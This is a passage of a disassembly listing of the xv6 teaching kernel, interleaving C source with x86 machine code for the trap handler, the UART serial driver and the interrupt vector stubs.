b8 c0 4c 11 80 mov $0x80114cc0,%eax 80105744: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 80105748: c1 e8 10 shr $0x10,%eax 8010574b: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lidt (%0)" : : "r" (pd)); 8010574f: 8d 45 fa lea -0x6(%ebp),%eax 80105752: 0f 01 18 lidtl (%eax) lidt(idt, sizeof(idt)); } 80105755: c9 leave 80105756: c3 ret 80105757: 89 f6 mov %esi,%esi 80105759: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105760 <trap>: //PAGEBREAK: 41 void trap(struct trapframe *tf) { 80105760: 55 push %ebp 80105761: 89 e5 mov %esp,%ebp 80105763: 57 push %edi 80105764: 56 push %esi 80105765: 53 push %ebx 80105766: 83 ec 1c sub $0x1c,%esp 80105769: 8b 7d 08 mov 0x8(%ebp),%edi if(tf->trapno == T_SYSCALL){ 8010576c: 8b 47 30 mov 0x30(%edi),%eax 8010576f: 83 f8 40 cmp $0x40,%eax 80105772: 0f 84 88 01 00 00 je 80105900 <trap+0x1a0> if(myproc()->killed) exit(); return; } switch(tf->trapno){ 80105778: 83 e8 20 sub $0x20,%eax 8010577b: 83 f8 1f cmp $0x1f,%eax 8010577e: 77 10 ja 80105790 <trap+0x30> 80105780: ff 24 85 84 77 10 80 jmp *-0x7fef887c(,%eax,4) 80105787: 89 f6 mov %esi,%esi 80105789: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi lapiceoi(); break; //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ 80105790: e8 eb df ff ff call 80103780 <myproc> 80105795: 85 c0 test %eax,%eax 80105797: 0f 84 d7 01 00 00 je 80105974 <trap+0x214> 8010579d: f6 47 3c 03 testb $0x3,0x3c(%edi) 801057a1: 0f 84 cd 01 00 00 je 80105974 <trap+0x214> static inline uint rcr2(void) { uint val; asm volatile("movl %%cr2,%0" : "=r" (val)); 801057a7: 0f 20 d1 mov %cr2,%ecx cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 801057aa: 8b 57 38 mov 0x38(%edi),%edx 801057ad: 89 4d d8 mov %ecx,-0x28(%ebp) 801057b0: 89 55 dc mov %edx,-0x24(%ebp) 801057b3: e8 a8 df ff ff call 80103760 <cpuid> 801057b8: 8b 77 34 mov 0x34(%edi),%esi 801057bb: 8b 5f 30 mov 0x30(%edi),%ebx 801057be: 89 45 e4 mov %eax,-0x1c(%ebp) "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 801057c1: e8 ba df ff ff call 80103780 <myproc> 801057c6: 89 45 e0 mov %eax,-0x20(%ebp) 801057c9: e8 b2 df ff ff call 80103780 <myproc> cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 801057ce: 8b 4d d8 mov -0x28(%ebp),%ecx 801057d1: 8b 55 dc mov -0x24(%ebp),%edx 801057d4: 51 push %ecx 801057d5: 52 push %edx "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 801057d6: 8b 55 e0 mov -0x20(%ebp),%edx cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 801057d9: ff 75 e4 pushl -0x1c(%ebp) 801057dc: 56 push %esi 801057dd: 53 push %ebx "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 801057de: 83 c2 6c add $0x6c,%edx cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 801057e1: 52 push %edx 801057e2: ff 70 10 pushl 0x10(%eax) 801057e5: 68 40 77 10 80 push $0x80107740 801057ea: e8 71 ae ff ff call 80100660 <cprintf> "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, tf->err, cpuid(), tf->eip, rcr2()); myproc()->killed = 1; 801057ef: 83 c4 20 add $0x20,%esp 801057f2: e8 89 df ff ff call 80103780 <myproc> 801057f7: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) 801057fe: 66 90 xchg %ax,%ax } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105800: e8 7b df ff ff call 80103780 <myproc> 80105805: 85 c0 test %eax,%eax 80105807: 74 0c je 80105815 <trap+0xb5> 80105809: e8 72 df ff ff call 80103780 <myproc> 8010580e: 8b 50 24 mov 0x24(%eax),%edx 80105811: 85 d2 test %edx,%edx 80105813: 75 4b jne 80105860 <trap+0x100> exit(); // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(myproc() && myproc()->state == RUNNING && 80105815: e8 66 df ff ff call 80103780 <myproc> 8010581a: 85 c0 test %eax,%eax 8010581c: 74 0b je 80105829 <trap+0xc9> 8010581e: e8 5d df ff ff call 80103780 <myproc> 80105823: 83 78 0c 04 cmpl $0x4,0xc(%eax) 80105827: 74 4f je 80105878 <trap+0x118> tf->trapno == T_IRQ0+IRQ_TIMER) yield(); // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105829: e8 52 df ff ff call 80103780 <myproc> 8010582e: 85 c0 test %eax,%eax 80105830: 74 1d je 8010584f <trap+0xef> 80105832: e8 49 df ff ff call 80103780 <myproc> 80105837: 8b 40 24 mov 0x24(%eax),%eax 8010583a: 85 c0 test %eax,%eax 8010583c: 74 11 je 8010584f <trap+0xef> 8010583e: 0f b7 47 3c movzwl 0x3c(%edi),%eax 80105842: 83 e0 03 and $0x3,%eax 80105845: 66 83 f8 03 cmp $0x3,%ax 80105849: 0f 84 da 00 00 00 je 80105929 <trap+0x1c9> exit(); } 8010584f: 8d 65 f4 lea -0xc(%ebp),%esp 80105852: 5b pop %ebx 80105853: 5e pop %esi 80105854: 5f pop %edi 80105855: 5d pop %ebp 80105856: c3 ret 80105857: 89 f6 mov %esi,%esi 80105859: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105860: 0f b7 47 3c movzwl 0x3c(%edi),%eax 80105864: 83 e0 03 and $0x3,%eax 80105867: 66 83 f8 03 cmp $0x3,%ax 8010586b: 75 a8 jne 80105815 <trap+0xb5> exit(); 8010586d: e8 3e e3 ff ff call 80103bb0 <exit> 80105872: eb a1 jmp 80105815 <trap+0xb5> 80105874: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(myproc() && myproc()->state == RUNNING && 80105878: 83 7f 30 20 cmpl $0x20,0x30(%edi) 8010587c: 75 ab jne 80105829 <trap+0xc9> tf->trapno == T_IRQ0+IRQ_TIMER) yield(); 8010587e: e8 5d e4 ff ff call 80103ce0 <yield> 80105883: eb a4 jmp 80105829 <trap+0xc9> 80105885: 8d 76 00 lea 0x0(%esi),%esi return; } switch(tf->trapno){ case T_IRQ0 + IRQ_TIMER: if(cpuid() == 0){ 80105888: e8 d3 de ff ff call 80103760 <cpuid> 8010588d: 85 c0 test %eax,%eax 8010588f: 0f 84 ab 00 00 00 je 80105940 <trap+0x1e0> } lapiceoi(); break; case T_IRQ0 + IRQ_IDE: ideintr(); lapiceoi(); 80105895: e8 76 ce ff ff call 80102710 <lapiceoi> break; 8010589a: e9 61 ff ff ff jmp 80105800 <trap+0xa0> 8010589f: 90 nop case T_IRQ0 + IRQ_IDE+1: // Bochs generates spurious IDE1 interrupts. break; case T_IRQ0 + IRQ_KBD: kbdintr(); 801058a0: e8 2b cd ff ff call 801025d0 <kbdintr> lapiceoi(); 801058a5: e8 66 ce ff ff call 80102710 <lapiceoi> break; 801058aa: e9 51 ff ff ff jmp 80105800 <trap+0xa0> 801058af: 90 nop case T_IRQ0 + IRQ_COM1: uartintr(); 801058b0: e8 5b 02 00 00 call 80105b10 <uartintr> lapiceoi(); 801058b5: e8 56 ce ff ff call 80102710 <lapiceoi> break; 801058ba: e9 41 ff ff ff jmp 80105800 <trap+0xa0> 801058bf: 90 nop case T_IRQ0 + 7: case T_IRQ0 + IRQ_SPURIOUS: cprintf("cpu%d: spurious interrupt at %x:%x\n", 801058c0: 0f b7 5f 3c movzwl 0x3c(%edi),%ebx 801058c4: 8b 77 38 mov 0x38(%edi),%esi 801058c7: e8 94 de ff ff call 80103760 <cpuid> 801058cc: 56 push %esi 801058cd: 53 push %ebx 801058ce: 50 push %eax 801058cf: 68 e8 76 10 80 push $0x801076e8 801058d4: e8 87 ad ff ff call 80100660 <cprintf> cpuid(), tf->cs, tf->eip); lapiceoi(); 801058d9: e8 32 ce ff ff call 80102710 <lapiceoi> break; 801058de: 83 c4 10 add $0x10,%esp 801058e1: e9 1a ff ff ff jmp 80105800 <trap+0xa0> 801058e6: 8d 76 00 lea 0x0(%esi),%esi 801058e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi release(&tickslock); } lapiceoi(); break; case T_IRQ0 + IRQ_IDE: ideintr(); 801058f0: e8 5b c7 ff ff call 80102050 <ideintr> 801058f5: eb 9e jmp 80105895 <trap+0x135> 801058f7: 89 f6 mov %esi,%esi 801058f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi //PAGEBREAK: 41 void trap(struct trapframe *tf) { if(tf->trapno == T_SYSCALL){ if(myproc()->killed) 80105900: e8 7b de ff ff call 80103780 <myproc> 80105905: 8b 58 24 mov 0x24(%eax),%ebx 80105908: 85 db test %ebx,%ebx 8010590a: 75 2c jne 80105938 <trap+0x1d8> exit(); myproc()->tf = tf; 8010590c: e8 6f de ff ff call 80103780 <myproc> 80105911: 89 78 18 mov %edi,0x18(%eax) syscall(); 80105914: e8 27 ef ff ff call 80104840 <syscall> if(myproc()->killed) 80105919: e8 62 de ff ff call 80103780 <myproc> 8010591e: 8b 48 24 mov 0x24(%eax),%ecx 80105921: 85 c9 test %ecx,%ecx 80105923: 0f 84 26 ff ff ff je 8010584f <trap+0xef> yield(); // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) exit(); } 80105929: 8d 65 f4 lea -0xc(%ebp),%esp 8010592c: 5b pop %ebx 8010592d: 5e pop %esi 8010592e: 5f pop %edi 8010592f: 5d pop %ebp if(myproc()->killed) exit(); myproc()->tf = tf; syscall(); if(myproc()->killed) exit(); 80105930: e9 7b e2 ff ff jmp 80103bb0 <exit> 80105935: 8d 76 00 lea 0x0(%esi),%esi void trap(struct trapframe *tf) { if(tf->trapno == T_SYSCALL){ if(myproc()->killed) exit(); 80105938: e8 73 e2 ff ff call 80103bb0 <exit> 8010593d: eb cd jmp 8010590c <trap+0x1ac> 8010593f: 90 nop } switch(tf->trapno){ case T_IRQ0 + IRQ_TIMER: if(cpuid() == 0){ acquire(&tickslock); 80105940: 83 ec 0c sub $0xc,%esp 80105943: 68 80 4c 11 80 push $0x80114c80 80105948: e8 f3 e9 ff ff call 80104340 <acquire> ticks++; wakeup(&ticks); 8010594d: c7 04 24 c0 54 11 80 movl $0x801154c0,(%esp) switch(tf->trapno){ case T_IRQ0 + IRQ_TIMER: if(cpuid() == 0){ acquire(&tickslock); ticks++; 80105954: 83 05 c0 54 11 80 01 addl $0x1,0x801154c0 wakeup(&ticks); 8010595b: e8 80 e5 ff ff call 80103ee0 <wakeup> release(&tickslock); 80105960: c7 04 24 80 4c 11 80 movl $0x80114c80,(%esp) 80105967: e8 84 ea ff ff call 801043f0 <release> 8010596c: 83 c4 10 add $0x10,%esp 8010596f: e9 21 ff ff ff jmp 80105895 <trap+0x135> 80105974: 0f 20 d6 mov %cr2,%esi //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ // In kernel, it must be our mistake. cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 80105977: 8b 5f 38 mov 0x38(%edi),%ebx 8010597a: e8 e1 dd ff ff call 80103760 <cpuid> 8010597f: 83 ec 0c sub $0xc,%esp 80105982: 56 push %esi 80105983: 53 push %ebx 80105984: 50 push %eax 80105985: ff 77 30 pushl 0x30(%edi) 80105988: 68 0c 77 10 80 push $0x8010770c 8010598d: e8 ce ac ff ff call 80100660 <cprintf> tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); 80105992: 83 c4 14 add $0x14,%esp 80105995: 68 e2 76 10 80 push $0x801076e2 8010599a: e8 d1 a9 ff ff call 80100370 <panic> 8010599f: 90 nop 801059a0 <uartgetc>: } static int uartgetc(void) { if(!uart) 801059a0: a1 c0 a5 10 80 mov 0x8010a5c0,%eax outb(COM1+0, c); } static int uartgetc(void) { 801059a5: 55 push %ebp 801059a6: 89 e5 mov %esp,%ebp if(!uart) 801059a8: 85 c0 test %eax,%eax 801059aa: 74 1c je 801059c8 <uartgetc+0x28> static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801059ac: ba fd 03 00 00 mov $0x3fd,%edx 801059b1: ec in (%dx),%al return -1; if(!(inb(COM1+5) & 0x01)) 801059b2: a8 01 test $0x1,%al 801059b4: 74 12 je 801059c8 <uartgetc+0x28> 801059b6: ba f8 03 00 00 mov $0x3f8,%edx 801059bb: ec in (%dx),%al return -1; return inb(COM1+0); 801059bc: 0f b6 c0 movzbl %al,%eax } 801059bf: 5d pop %ebp 801059c0: c3 ret 801059c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi static int uartgetc(void) { if(!uart) return -1; 801059c8: b8 ff ff ff ff mov $0xffffffff,%eax if(!(inb(COM1+5) & 0x01)) return -1; return inb(COM1+0); } 801059cd: 5d pop %ebp 801059ce: c3 ret 801059cf: 90 nop 801059d0 <uartputc.part.0>: for(p="xv6...\n"; *p; p++) uartputc(*p); } void uartputc(int c) 801059d0: 55 push %ebp 801059d1: 89 e5 mov %esp,%ebp 801059d3: 57 push %edi 801059d4: 56 push %esi 801059d5: 53 push %ebx 801059d6: 89 c7 mov %eax,%edi 801059d8: bb 80 00 00 00 mov $0x80,%ebx 801059dd: be fd 03 00 00 mov $0x3fd,%esi 801059e2: 83 ec 0c sub $0xc,%esp 801059e5: eb 1b jmp 80105a02 <uartputc.part.0+0x32> 801059e7: 89 f6 mov %esi,%esi 801059e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi int i; if(!uart) return; for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) microdelay(10); 801059f0: 83 ec 0c sub $0xc,%esp 801059f3: 6a 0a push $0xa 801059f5: e8 36 cd ff ff call 80102730 <microdelay> { int i; if(!uart) return; for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 801059fa: 83 c4 10 add $0x10,%esp 801059fd: 83 eb 01 sub $0x1,%ebx 80105a00: 74 07 je 80105a09 <uartputc.part.0+0x39> 80105a02: 89 f2 mov %esi,%edx 80105a04: ec in (%dx),%al 80105a05: a8 20 test $0x20,%al 80105a07: 74 e7 je 801059f0 <uartputc.part.0+0x20> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80105a09: ba f8 03 00 00 mov $0x3f8,%edx 80105a0e: 89 f8 mov %edi,%eax 80105a10: ee out %al,(%dx) microdelay(10); outb(COM1+0, c); } 80105a11: 8d 65 f4 lea -0xc(%ebp),%esp 80105a14: 5b pop %ebx 80105a15: 5e pop %esi 80105a16: 5f pop %edi 80105a17: 5d pop %ebp 80105a18: c3 ret 80105a19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105a20 <uartinit>: static int uart; // is there a uart? void uartinit(void) { 80105a20: 55 push %ebp 80105a21: 31 c9 xor %ecx,%ecx 80105a23: 89 c8 mov %ecx,%eax 80105a25: 89 e5 mov %esp,%ebp 80105a27: 57 push %edi 80105a28: 56 push %esi 80105a29: 53 push %ebx 80105a2a: bb fa 03 00 00 mov $0x3fa,%ebx 80105a2f: 89 da mov %ebx,%edx 80105a31: 83 ec 0c sub $0xc,%esp 80105a34: ee out %al,(%dx) 80105a35: bf fb 03 00 00 mov $0x3fb,%edi 80105a3a: b8 80 ff ff ff mov $0xffffff80,%eax 80105a3f: 89 fa mov %edi,%edx 80105a41: ee out %al,(%dx) 80105a42: b8 0c 00 00 00 mov $0xc,%eax 80105a47: ba f8 03 00 00 mov $0x3f8,%edx 80105a4c: ee out %al,(%dx) 80105a4d: be f9 03 00 00 mov $0x3f9,%esi 80105a52: 89 c8 mov %ecx,%eax 80105a54: 89 f2 mov %esi,%edx 80105a56: ee out %al,(%dx) 80105a57: b8 03 00 00 00 mov $0x3,%eax 80105a5c: 89 fa mov %edi,%edx 80105a5e: ee out %al,(%dx) 80105a5f: ba fc 03 00 00 mov $0x3fc,%edx 80105a64: 89 c8 mov %ecx,%eax 80105a66: ee out %al,(%dx) 80105a67: b8 01 00 00 00 mov $0x1,%eax 80105a6c: 89 f2 mov %esi,%edx 80105a6e: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80105a6f: ba fd 03 00 00 mov $0x3fd,%edx 80105a74: ec in (%dx),%al outb(COM1+3, 0x03); // Lock divisor, 8 data bits. outb(COM1+4, 0); outb(COM1+1, 0x01); // Enable receive interrupts. // If status is 0xFF, no serial port. if(inb(COM1+5) == 0xFF) 80105a75: 3c ff cmp $0xff,%al 80105a77: 74 5a je 80105ad3 <uartinit+0xb3> return; uart = 1; 80105a79: c7 05 c0 a5 10 80 01 movl $0x1,0x8010a5c0 80105a80: 00 00 00 80105a83: 89 da mov %ebx,%edx 80105a85: ec in (%dx),%al 80105a86: ba f8 03 00 00 mov $0x3f8,%edx 80105a8b: ec in (%dx),%al // Acknowledge pre-existing interrupt conditions; // enable interrupts. inb(COM1+2); inb(COM1+0); ioapicenable(IRQ_COM1, 0); 80105a8c: 83 ec 08 sub $0x8,%esp 80105a8f: bb 04 78 10 80 mov $0x80107804,%ebx 80105a94: 6a 00 push $0x0 80105a96: 6a 04 push $0x4 80105a98: e8 03 c8 ff ff call 801022a0 <ioapicenable> 80105a9d: 83 c4 10 add $0x10,%esp 80105aa0: b8 78 00 00 00 mov $0x78,%eax 80105aa5: eb 13 jmp 80105aba <uartinit+0x9a> 80105aa7: 89 f6 mov %esi,%esi 80105aa9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi // Announce that we're here. for(p="xv6...\n"; *p; p++) 80105ab0: 83 c3 01 add $0x1,%ebx 80105ab3: 0f be 03 movsbl (%ebx),%eax 80105ab6: 84 c0 test %al,%al 80105ab8: 74 19 je 80105ad3 <uartinit+0xb3> void uartputc(int c) { int i; if(!uart) 80105aba: 8b 15 c0 a5 10 80 mov 0x8010a5c0,%edx 80105ac0: 85 d2 test %edx,%edx 80105ac2: 74 ec je 80105ab0 <uartinit+0x90> inb(COM1+2); inb(COM1+0); ioapicenable(IRQ_COM1, 0); // Announce that we're here. for(p="xv6...\n"; *p; p++) 80105ac4: 83 c3 01 add $0x1,%ebx 80105ac7: e8 04 ff ff ff call 801059d0 <uartputc.part.0> 80105acc: 0f be 03 movsbl (%ebx),%eax 80105acf: 84 c0 test %al,%al 80105ad1: 75 e7 jne 80105aba <uartinit+0x9a> uartputc(*p); } 80105ad3: 8d 65 f4 lea -0xc(%ebp),%esp 80105ad6: 5b pop %ebx 80105ad7: 5e pop %esi 80105ad8: 5f pop %edi 80105ad9: 5d pop %ebp 80105ada: c3 ret 80105adb: 90 nop 80105adc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105ae0 <uartputc>: void uartputc(int c) { int i; if(!uart) 80105ae0: 8b 15 c0 a5 10 80 mov 0x8010a5c0,%edx uartputc(*p); } void uartputc(int c) { 80105ae6: 55 push %ebp 80105ae7: 89 e5 mov %esp,%ebp int i; if(!uart) 80105ae9: 85 d2 test %edx,%edx uartputc(*p); } void uartputc(int c) { 80105aeb: 8b 45 08 mov 0x8(%ebp),%eax int i; if(!uart) 80105aee: 74 10 je 80105b00 <uartputc+0x20> return; for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) microdelay(10); outb(COM1+0, c); } 80105af0: 5d pop %ebp 80105af1: e9 da fe ff ff jmp 801059d0 <uartputc.part.0> 80105af6: 8d 76 00 lea 0x0(%esi),%esi 80105af9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105b00: 5d pop %ebp 80105b01: c3 ret 80105b02: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105b09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105b10 <uartintr>: return inb(COM1+0); } void uartintr(void) { 80105b10: 55 push %ebp 80105b11: 89 e5 mov %esp,%ebp 80105b13: 83 ec 14 sub $0x14,%esp consoleintr(uartgetc); 80105b16: 68 a0 59 10 80 push $0x801059a0 80105b1b: e8 d0 ac ff ff call 801007f0 <consoleintr> } 80105b20: 83 c4 10 add $0x10,%esp 80105b23: c9 leave 80105b24: c3 ret 80105b25 <vector0>: # generated by vectors.pl - do not edit # handlers .globl alltraps .globl vector0 vector0: pushl $0 80105b25: 6a 00 push $0x0 pushl $0 80105b27: 6a 00 push $0x0 jmp alltraps 80105b29: e9 3b fb ff ff jmp 80105669 <alltraps> 80105b2e <vector1>: .globl vector1 vector1: pushl $0 80105b2e: 6a 00 push $0x0 pushl $1 80105b30: 6a 01 push $0x1 jmp alltraps 80105b32: e9 32 fb ff ff jmp 80105669 <alltraps> 80105b37 <vector2>: .globl vector2 vector2: pushl $0 80105b37: 6a 00 push $0x0 pushl $2 80105b39: 6a 02 push $0x2 jmp alltraps 80105b3b: e9 29 fb ff ff jmp 80105669 <alltraps> 80105b40 <vector3>: .globl vector3 vector3: pushl $0 80105b40: 6a 00 push $0x0 pushl $3 80105b42: 6a 03 push $0x3 jmp alltraps 80105b44: e9 20 fb ff ff jmp 80105669 <alltraps> 80105b49 <vector4>: .globl vector4 vector4: pushl $0 80105b49: 6a 00 push $0x0 pushl $4 80105b4b: 6a 04 push $0x4 jmp alltraps 80105b4d: e9 17 fb ff ff jmp 80105669 <alltraps> 80105b52 <vector5>: .globl vector5 vector5: pushl $0 80105b52: 6a 00 push $0x0 pushl $5 80105b54: 6a 05 push $0x5 jmp alltraps 80105b56: e9 0e fb ff ff jmp 80105669 <alltraps> 80105b5b <vector6>: .globl vector6 vector6: pushl $0 80105b5b: 6a 00 push $0x0 pushl $6 80105b5d: 6a 06 push $0x6 jmp alltraps 80105b5f: e9 05 fb ff ff jmp 80105669 <alltraps> 80105b64 <vector7>: .globl vector7 vector7: pushl $0 80105b64: 6a 00 push $0x0 pushl $7 80105b66: 6a 07 push $0x7 jmp alltraps 80105b68: e9 fc fa ff ff jmp 80105669 <alltraps> 80105b6d <vector8>: .globl vector8 vector8: pushl $8 80105b6d: 6a 08 push $0x8 jmp alltraps 80105b6f: e9 f5 fa ff ff jmp 80105669 <alltraps> 80105b74 <vector9>: .globl vector9 vector9: pushl $0 80105b74: 6a 00 push $0x0 pushl $9 80105b76: 6a 09 push $0x9 jmp alltraps 80105b78: e9 ec fa ff ff jmp 80105669 <alltraps> 80105b7d <vector10>: .globl vector10 vector10: pushl $10 80105b7d: 6a 0a push $0xa jmp alltraps 80105b7f: e9 e5 fa ff ff jmp 80105669 <alltraps> 80105b84 <vector11>: .globl vector11 vector11: pushl $11 80105b84: 6a 0b push $0xb jmp alltraps 80105b86: e9 de fa ff ff jmp 80105669 <alltraps> 80105b8b <vector12>: .globl vector12 vector12: pushl $12 80105b8b: 6a 0c push $0xc jmp alltraps 80105b8d: e9 d7 fa ff ff jmp 80105669 <alltraps> 80105b92 <vector13>: .globl vector13 vector13: pushl $13 80105b92: 6a 0d push $0xd jmp alltraps 80105b94: e9 d0 fa ff ff jmp 80105669 <alltraps> 80105b99 <vector14>: .globl vector14 vector14: pushl $14 80105b99: 6a 0e push $0xe jmp alltraps 80105b9b: e9 c9 fa ff ff jmp 80105669 <alltraps> 80105ba0 <vector15>: .globl vector15 vector15: pushl $0 80105ba0: 6a 00 push $0x0 pushl $15 80105ba2: 6a 0f push $0xf jmp alltraps 80105ba4: e9 c0 fa ff ff jmp 80105669 <alltraps> 80105ba9 <vector16>: .globl vector16 vector16: pushl $0 80105ba9: 6a 00 push $0x0 pushl $16 80105bab: 6a 10 push $0x10 jmp alltraps 80105bad: e9 b7 fa ff ff jmp 80105669 <alltraps> 80105bb2 <vector17>: .globl vector17 vector17: pushl $17 80105bb2: 6a 11 push $0x11 jmp alltraps 80105bb4: e9 b0 fa ff ff jmp 80105669 <alltraps> 80105bb9 <vector18>: .globl vector18 vector18: pushl $0 80105bb9: 6a 00 push $0x0 pushl $18 80105bbb: 6a 12 push $0x12 jmp alltraps 80105bbd: e9 a7 fa ff ff jmp 80105669 <alltraps> 80105bc2 <vector19>: .globl vector19 vector19: pushl $0 80105bc2: 6a 00 push $0x0 pushl $19 80105bc4: 6a 13 push $0x13 jmp alltraps 80105bc6: e9 9e fa ff ff jmp 80105669 <alltraps> 80105bcb <vector20>: .globl vector20 vector20: pushl $0 80105bcb: 6a 00 push $0x0 pushl $20 80105bcd: 6a 14 push $0x14 jmp alltraps 80105bcf: e9 95 fa ff ff jmp 80105669 <alltraps> 80105bd4 <vector21>: .globl vector21 vector21: pushl $0 80105bd4: 6a 00 push $0x0 pushl $21 80105bd6: 6a 15 push $0x15 jmp alltraps 80105bd8: e9 8c fa ff ff jmp 80105669 <alltraps> 80105bdd <vector22>: .globl vector22 vector22: pushl $0 80105bdd: 6a 00 push $0x0 pushl $22 80105bdf: 6a 16 push $0x16 jmp alltraps 80105be1: e9 83 fa ff ff jmp 80105669 <alltraps> 80105be6 <vector23>: .globl vector23 vector23: pushl $0 80105be6: 6a 00 push $0x0 pushl $23 80105be8: 6a 17 push $0x17 jmp alltraps 80105bea: e9 7a fa ff ff jmp 80105669 <alltraps> 80105bef <vector24>: .globl vector24 vector24: pushl $0 80105bef: 6a 00 push $0x0 pushl $24 80105bf1: 6a 18 push $0x18 jmp alltraps 80105bf3: e9 71 fa ff ff jmp 80105669 <alltraps> 80105bf8 <vector25>: .globl vector25 vector25: pushl $0 80105bf8: 6a 00 push $0x0 pushl $25 80105bfa: 6a 19 push $0x19 jmp alltraps 80105bfc: e9 68 fa ff ff jmp 80105669 <alltraps> 80105c01 <vector26>: .globl vector26 vector26: pushl $0 80105c01: 6a 00 push $0x0 pushl $26 80105c03: 6a 1a push $0x1a jmp alltraps 80105c05: e9 5f fa ff ff jmp 80105669 <alltraps> 80105c0a <vector27>: .globl vector27 vector27: pushl $0 80105c0a: 6a 00 push $0x0 pushl $27 80105c0c: 6a 1b push $0x1b jmp alltraps 80105c0e: e9 56 fa ff ff jmp 80105669 <alltraps> 80105c13 <vector28>: .globl vector28 vector28: pushl $0 80105c13: 6a 00 push $0x0 pushl $28 80105c15: 6a 1c push $0x1c jmp alltraps 80105c17: e9 4d fa ff ff jmp 80105669 <alltraps> 80105c1c <vector29>: .globl vector29 vector29: pushl $0 80105c1c: 6a 00 push $0x0 pushl $29 80105c1e: 6a 1d push $0x1d jmp alltraps 80105c20: e9 44 fa ff ff jmp 80105669 <alltraps> 80105c25 <vector30>: .globl vector30 vector30: pushl $0 80105c25: 6a 00 push $0x0 pushl $30 80105c27: 6a 1e push $0x1e jmp alltraps 80105c29: e9 3b fa ff ff jmp 80105669 <alltraps> 80105c2e <vector31>: .globl vector31 vector31: pushl $0 80105c2e: 6a 00 push $0x0 pushl $31 80105c30: 6a 1f push $0x1f jmp alltraps 80105c32: e9 32 fa ff ff jmp 80105669 <alltraps> 80105c37 <vector32>: .globl vector32 vector32: pushl $0 80105c37: 6a 00 push $0x0 pushl $32 80105c39: 6a 20 push $0x20 jmp alltraps 80105c3b: e9 29 fa ff ff jmp 80105669 <alltraps> 80105c40 <vector33>: .globl vector33 vector33: pushl $0 80105c40: 6a 00 push $0x0 pushl $33 80105c42: 6a 21 push $0x21 jmp alltraps 80105c44: e9 20 fa ff ff jmp 80105669 <alltraps> 80105c49 <vector34>: .globl vector34 vector34: pushl $0 80105c49: 6a 00 push $0x0 pushl $34 80105c4b: 6a 22 push $0x22 jmp alltraps 80105c4d: e9 17 fa ff ff jmp 80105669 <alltraps> 80105c52 <vector35>: .globl vector35 vector35: pushl $0 80105c52: 6a 00 push $0x0 pushl $35 80105c54: 6a 23 push $0x23 jmp alltraps 80105c56: e9 0e fa ff ff jmp 80105669 <alltraps> 80105c5b <vector36>: .globl vector36 vector36: pushl $0 80105c5b: 6a 00 push $0x0 pushl $36 80105c5d: 6a 24 push $0x24 jmp alltraps 80105c5f: e9 05 fa ff ff jmp 80105669 <alltraps> 80105c64 <vector37>: .globl vector37 vector37: pushl $0 80105c64: 6a 00 push $0x0 pushl $37 80105c66: 6a 25 push $0x25 jmp alltraps 80105c68: e9 fc f9 ff ff jmp 80105669 <alltraps> 